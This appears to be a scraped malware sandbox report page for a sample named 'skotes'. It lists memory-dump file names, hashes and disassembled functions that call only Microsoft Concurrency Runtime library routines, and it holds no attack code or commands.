Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acfb52824048eb3655ba45fb1ae2f2f3ec21738543805b8d259ed24e99b2ed87
Instruction ID: 891c968b2a106312117e7c0256efd72350484e66a8668c590b06fd479c1888ee
Opcode Fuzzy Hash: acfb52824048eb3655ba45fb1ae2f2f3ec21738543805b8d259ed24e99b2ed87
Instruction Fuzzy Hash: 84519E72E0560ACFDB15CF98D9C1BA9BBF1FB48704F25856EC405EB250D376A941CB50

Function 00EE26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00EE26E3

Part of subcall function 00EE24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00EE2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00EE2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00EE275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00EE27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00EE27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00EE2846

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: fd5fdec369c8dcc84657026e0af3b856c11c56e66ab0c7c12d1f11e0b636cfce
Instruction ID: ef544034c39cfb4eef7d6163f75a20f3dc4c443f399e6bae6abe6cc1af440865
Opcode Fuzzy Hash: fd5fdec369c8dcc84657026e0af3b856c11c56e66ab0c7c12d1f11e0b636cfce
Instruction Fuzzy Hash: 0281C23090028DABDF169F55D941BFE7BBAAF45308F04209DEE413B292C7728D15DB61

Function 00EE2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00EE2982

Part of subcall function 00EE24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00EE29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00EE29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00EE29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00EE2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00EE2AD8

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 6d17c682ecffffa63dbb334c2b80f3f8ec916ef434adaba1e2a9bf09b620cb2f
Instruction ID: 2c97ab02b34a6d3a6d5abc1a4b6294cc1a2a683aaa7652fb65e82ec70c5c7d9c
Opcode Fuzzy Hash: 6d17c682ecffffa63dbb334c2b80f3f8ec916ef434adaba1e2a9bf09b620cb2f
Instruction Fuzzy Hash: E5719D7090028DAFDF15DF66C981ABEBBBAAF45308F04609CEE417B252C7329D15DB61

Function 00ED2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00ED2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00ED28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00ED2913

Part of subcall function 00ED07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00ED080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00ED2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00ED29DB

Part of subcall function 00ED07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00ED07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00ED29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00ED2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00ED2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00ED2A7E

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: af01f7cd3024c7c1aff5b938745f4141d0dc540b903c563124e33b5266e5dfb5
Instruction ID: 1d6cbb743c0f72708ef46b7fbec4f3ba5f4859d45b6529e2dfce37ee5e46d746
Opcode Fuzzy Hash: af01f7cd3024c7c1aff5b938745f4141d0dc540b903c563124e33b5266e5dfb5
Instruction Fuzzy Hash: 9281BE31A0461ACBCB18DFA8D8905ADB7F1FBE8714B29A02FD645B7340D730AD42DB94

Function 00ED69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00ED6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00ED6A51
List.LIBCONCRT ref: 00ED6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00ED6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00ED6AB9
List.LIBCONCRT ref: 00ED6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00ED6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00ED6B20
List.LIBCONCRT ref: 00ED6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00ED6B68

Part of subcall function 00ED5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00ED5EF7
Part of subcall function 00ED5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00ED5F09

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
